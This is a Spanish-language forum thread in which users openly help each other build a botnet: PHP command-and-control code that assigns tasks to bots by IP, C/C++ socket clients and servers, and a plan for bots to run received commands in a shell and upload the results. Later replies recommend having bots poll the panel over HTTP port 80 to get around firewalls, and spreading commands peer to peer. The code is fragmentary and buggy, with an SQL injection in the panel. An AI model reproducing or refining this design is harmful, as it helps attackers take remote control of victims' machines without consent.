Controlar botnet con PHP

Iniciado por Kaxperday, 15 Septiembre 2014, 14:00 PM

0 Miembros y 1 Visitante están viendo este tema.

Vaagish

Esto es una pequeña parte de un proyecto que arme hace un tiempo ya..

Código (php) [Seleccionar]
if($_POST){

$Request = $_POST['A'];

switch($Request){

case "TS":
// Actualizar / Pedir tareas
$IP = $_POST['B'];

$Result = mysqli_query($Connex, "SELECT Tareas, Path FROM bots WHERE Ip = '$IP'");

if(!mysqli_num_rows($Result))
{
echo "RH\0";
break;
}

$TIME = date("H:i:s");
mysqli_query($Connex, "UPDATE bots SET Actualizacion = '$TIME' WHERE Ip = '$IP'");

$row = mysqli_fetch_assoc($Result);

if($row['Tareas'])
{
if ($row['Tareas'] == "EX" || $row['Tareas'] == "AI" || $row['Tareas'] == "SM" || $row['Tareas'] == "GT")
{
echo $row['Tareas']." ".$row['Path']."\0";
}else{
echo $row['Tareas']."\0";
}
}
$Result = mysqli_query($Connex, "UPDATE bots SET Tareas = '' WHERE Ip = '$IP'");
break;


Bueno, no esta completo el ejemplo.. es una porcion, pero creo que es la porcion mas importante..  ;)

Y en C++ precisas algo asi..

Código (cpp) [Seleccionar]
// OVERLOAD SENDREQUEST
/* ****************************** */
int SendRequest(SOCKET s, char *data1, char *data2)
{
char HOST[200] = "\0";
char LEN[100] = "\0";
char BUFFER[2048] = "\0";

sprintf_s(HOST, sizeof(HOST), HTTPHEAD, "/php/core.php", "TUHOST");
sprintf_s(B1, sizeof(B1), HTTPTEXT, "form-data", "A");
sprintf_s(B2, sizeof(B2), HTTPTEXT, "form-data", "B");

sprintf_s(LEN, sizeof(LEN), HTTPLENG, strlen(B1) + strlen(B2) + strlen(data1) + strlen(data2) + strlen(HTTPENDS) + 2);

strcat(BUFFER, HOST);

strcat(BUFFER + strlen(BUFFER), LEN);
strcat(BUFFER + strlen(BUFFER), B1);
strcat(BUFFER + strlen(BUFFER), data1);
strcat(BUFFER + strlen(BUFFER), "\r\n");
strcat(BUFFER + strlen(BUFFER), B2);
strcat(BUFFER + strlen(BUFFER), data2);
strcat(BUFFER + strlen(BUFFER), HTTPENDS);

send(s, BUFFER, strlen(BUFFER), 0);

return 0;
}


No voy a entrar en las cabeceras HTML, porque recuerdo que costo bastante, y resolverlo me dio una alegria inmensa, asi que dejo para que te alegres vos tambien..  ;D

Saludos!

Kaxperday

#11
Gracias Vaagish, me podrías explicar ¿como funciona tu código? Mi interpretación es que el cliente manda un POST y el PHP en función a lo que le manda trabaja sobre bases de datos (cosas que no he dado). No entiendo para que funciona. Yo solo busco algo tan simple y complejo como enviar una cadena desde un servidor PHP a un cliente C. Pero no entiendo, si el server manda una cadena al cliente, en este caso el server sería el cliente, un lío.

Código de un server PHP:

http://www.codeproject.com/Tips/418814/Socket-Programming-in-PHP

Código (php) [Seleccionar]

<?
$host = "127.0.0.1";
$port = 5353;
// No Timeout
set_time_limit(0);
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
$result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n");
$result = socket_listen($socket, 3) or die("Could not set up socket listener\n");
$spawn = socket_accept($socket) or die("Could not accept incoming connection\n");
//abajo lee el mensaje del cliente.
$input = socket_read($spawn, 1024) or die("Could not read input\n");
//abajo invierte la cadena recibida y la manda al cliente BIEN SABEMOS MANDAR ALGO
//AL CLIENTE!
$output = strrev($input) . "\n";
socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n");
socket_close($spawn);
socket_close($socket);
?>


Ahora observo el ejemplo de cliente que usa la página, está en PHP pero trataré de pasarlo a C aquí abajo:


/*headers...*/
#define IP 80.234.23.123
#define PUERTO 80
int main()
{
WSADATA wsa;
   int sok,len,i=0;
char *buf="holaa",baf[100];
   struct sockaddr_in dir;
WSAStartup(MAKEWORD(2,0),&wsa);
   if((sok=socket(AF_INET,SOCK_STREAM,0))==-1){}
   else{
       dir.sin_family=AF_INET;
       dir.sin_port=htons(PUERTO);
       dir.sin_addr.s_addr=inet_addr(IP);
connect(sok,(struct sockaddr*)&dir,sizeof(dir));
write(sok,buf,strlen(buf));
recv(sok,baf,strlen(baf));
closesocket(sock);
return 0;
}


Gente creo que me ha quedado bastante bien el cliente y el server que era lo que buscaba, ahora a probarlo que esa es otra, pero no esta mal traduciendolo de PHP a C he aprendido bastantes cosas, si me dejo algo decidme, seguire trabajando.

Edito: El server web debería solo de poder escuchar peticiones en el puerto 80, pues supongo que no se le podrán abrir otros puertos al ser servidor gratuito, pero ese es el mismo puerto para http, funcionaría? no sé

Edito: Como va a funcionar si no estoy indicando el php con el que quiero trabajar... haber.

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Vaagish

Hi! Lo que yo hice en mi momento fue hacer POST, cada 30's al web server, este se fija en la base de datos si ya tiene guardado al cliente (mediante su IP), si el cliente ya estaba en esa base de datos, busco una tarea para enviarle, esto lo hace el "echo", yo al principio creía que se iba a escribir el comando para cada uno de los bots conectados, pero para mi sorpresa, funciona para el cliente "conectado" en ese momento, es como tener "una versión de la pagina" para cada cliente ;)

Bueno, el asunto mas complejo es que los REQUEST'S que envía C++, son protocolo HTML, este protocolo (al igual que todos, creo) No es complicado, lo complicado es no cometer errores,, por ej: Un espacio de mas, o un Content Length con un byte menos (o mas) que el exacto...

Sobre los Socket en C++ deberias seguir el hilo en el subforo de C++, seria lo correcto y en donde hay mas información..

Suerte! Saludos!

PD: Creo que el uso de Base de Datos es fundamental para este tipo de situaciones,, de otra forma no se me ocurre...  :silbar:

Kaxperday

#13
Ya veo, tu botnet al parecer era pasiva, los bot mandaban un POST y en función de su estado se les asignaba una tarea, pero sin embargo tiene una cosa que me interesa, háblame acerca del echo, ¿es necesario para enviar la "tarea al bot" (que sería la cadena al cliente que llevo buscando dónde iría el comando) estar trabajando con una base de datos? De no ser así, me gustaría como capta la orden el cliente que se inicia a partir del echo.

PD: No tengo idea de base de datos podría ponerme también a ello, pero paso de sacarme la carrera en una semana que a este ritmo XDD

Gracias y saludos.

Edito: Estoy con ello jajaja, acabo de probar un cliente en el servidor, a ese cliente le paso las ips del archivo y va mandando los comandos uno a uno jajaja, me parto he dado a enviar comando con el server c abierto y se ha quedado cargando la página en plan adiós jajaja
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#14
Vamos a ver, el código creo que no está mal, si no funciona por un fallo me daría una alegría, si lo es por limitaciones del servidor es otra historia.

Haber en el bot.php tengo el siguiente script:

Código (php) [Seleccionar]

<?
$comando = $_GET['com'];
$bot = $_GET['bot'];
$port=5748;

$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n");
$result = socket_connect($socket, $bot, $port) or die("Could not connect toserver\n");
socket_write($socket, $comando, strlen($message)) or die("Could not send data to server\n");
socket_close($socket);
}
?>


Esto lo que hace es que cuando yo pulse ok, y envíe las variables $comando y $bot, el script se ejecuta y se mandan los datos a los servidores C.

Servidor C:



#define IP "ip del server"
#define PUERTO 5748

int main()
{
   WSADATA wsa;
   int fd, fd2;
   struct sockaddr_in server;
   struct sockaddr_in client;
   int sn_size;
   char buf[60];

   WSAStartup(MAKEWORD(2,0),&wsa);

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==1)
   {
       printf ("Error en socketn" );
       exit(-1);
   }

   server.sin_family = AF_INET;
   server.sin_port=htons(PUERTO);
   server.sin_addr.s_addr=INADDR_ANY;
   //bzero(&(server.sin_zero),8);
   if (bind(fd,(struct sockaddr *) &server, sizeof(struct sockaddr))== -1)
   {
       printf("Error en bindn" );
       exit(-1);
   }

   if (listen(fd, 1) == -1)
   {
       printf("Error en listenn" );
       exit(-1);
   }

   printf("entro while ok");
   while (1)
   {
       sn_size = sizeof(struct sockaddr_in);

       if ((fd2=accept(fd,(struct sockaddr *)&client, &sn_size)) == -1)
       {
           printf ("error en accept n" );
           exit(-1);
       }
       recv(fd,buf,50,1);
       printf("Comando recibido: %s",buf);
       printf("Se conectaron desde %s\n", inet_ntoa(client.sin_addr));
       close(fd2);
   }
   return 0;
}


Buendo gente esto es todo, lo que pasa ahora es que al ejecutar el script no me llegan datos al servidor, no muestra el mensaje recibido, espero que vosotros sepáis a que se debe ya estoy cerca.

Edito: OMG no me deja acceder a la página web, no me carga, he accedido con un proxy y va sin problemas, ¿que cojones?

Edito: Después de todo, el **** hosting al parecer no me deja correr el script,
cuando detecta que inicias comunicación una máquina con sockets deniega el acceso a esa ip, una media hora o más... 2 veces he probado corriendo el servidor en mi ordenador las 2 al pasar 1 minuto no podía acceder a la página con mi ip, si con proxy y demás... Luego si ese código no funciona habrá que hacer la botnet pasiva, pues ya vemos que el servidor web, no es capaz de correr un cliente php...
El socket del cliente php se creo, se creo la conexion y no supe ya más, no me deja entrar en la página  :laugh: :laugh: :laugh:


Salu2.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#15
Resumo todo, la idea que tenía era:

1-Que los bots clientes hiciesen POST y se les guardase su nombre de usuario e IP en un archivo, ese archivo se iría refrescando cada minuto (se borra y quedan guardados los que sigan haciendo POST).

2-Yo accedería a la página web iniciaría sesión, cargaría en variables los comandos a ejecutar sobre los bots, y entonces el PHP mediante sockets, iría recorriendo el archivo con los usuarios y las IPs conectadas y haría un write para pasar el comando al bot.

3-El bot recibiría el comando lo ejecutaría en una shell, guardaría el resultado en un archivo usuariodata.txt, que lo subiría por POST a el server, el server lo lee y muestra el resultado.

Eso sería todo, estoy atascado en el punto 2, en el envío del comando desde la página web al servidor. Porque el ** ******* hosting gratuito parece que no me deja, ¿alguna alternativa?

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

daryo

olvidate de manejar sockets desde el servidor , no hace falta (como lo estas haciendo), personaliza la salida dependiendo la ip si quieres . pero el recorrido del servidor sobra , que cada bot se vaya conectando al servidor y lea el comando y ahi si lo ejecute.
buenas

MinusFour

La forma en la que tienes planeada tu botnet no creo que llegue a funcionar. Hoy en día todo mundo se esconde detrás de un router con un firewall que bloquean puertos de entrada.

La comunicación que tienes pensada entre la botnet y tú, es basicamente que actues tu como cliente y que ellos actuen como servidor. (Tu les envias un comando a los servidores directamente).

La mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.

daryo

si a ver
que tal algo asi:

1. el bot se conecta cada 40 segundos busca al servidor esperando comandos por medio del protocolo http puerto 80

2.el servidor en caso de que no existe la ip la registra , en caso de que exista busca un comando que este para esa ip , lo muestra(el comando) en texto plano igual por el protocolo http

3.el bot ve el comando y lo ejecuta envia la salida por post

4. el servidor recibe la salida del comando por post la guarda y la muestra en el panel de control
buenas

Vaagish

CitarLa mayoria de las botnets funcionan teniendo a todos los bots (clientes) conectados a un servidor y otro cliente con permisos especiales envia al servidor un comando y el comando lo dispersa a los demas clientes bots.
+1

Si,, ademas, los sockets en servidores webs (por lo general, desconozco todos los hostings que existen) No están permitidos, por seguridad..

Con echo funciona perfecto.. lo podes enviar para cada uno de los clientes o para todos,, pero como dice MinusFour, una botnet "avanzada", mandaria un comando a uno (o varios) clientes, y entre ellos se reenvian el comando.. estilo P2P.

PD: Creo que eso quiso decir MinusFour y asi lo entendi de otra lectura por la web..

Saludos!